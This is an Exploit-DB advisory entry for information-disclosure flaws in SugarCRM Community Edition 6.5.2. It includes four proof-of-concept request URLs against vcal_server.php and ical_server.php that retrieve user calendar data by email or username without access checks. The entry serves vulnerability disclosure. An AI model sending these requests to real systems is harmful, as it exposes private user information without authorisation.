SugarCRM Community Edition Multiple Information Disclosure Vulnerabilities

2012-08-31T00:00:00
ID EDB-ID:37691
Type exploitdb
Reporter Brendan Coles
Modified 2012-08-31T00:00:00

Description

SugarCRM Community Edition Multiple Information Disclosure Vulnerabilities. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/55347/info

SugarCRM Community Edition is prone to multiple information-disclosure vulnerabilities because it fails to restrict access to certain application data.

Attackers can exploit these issues to obtain sensitive information that may lead to further attacks.

SugarCRM Community Edition 6.5.2 is vulnerable; other versions may also be affected.

http://www.example.com/sugarcrm/vcal_server.php?type=vfb&email=will@example.com

http://www.example.com/sugarcrm/vcal_server.php?type=vfb&user_name=will

http://www.example.com/sugarcrm/ical_server.php?type=ics&key=&email=will@example.com

http://www.example.com/sugarcrm/ical_server.php?type=ics&key=&user_name=will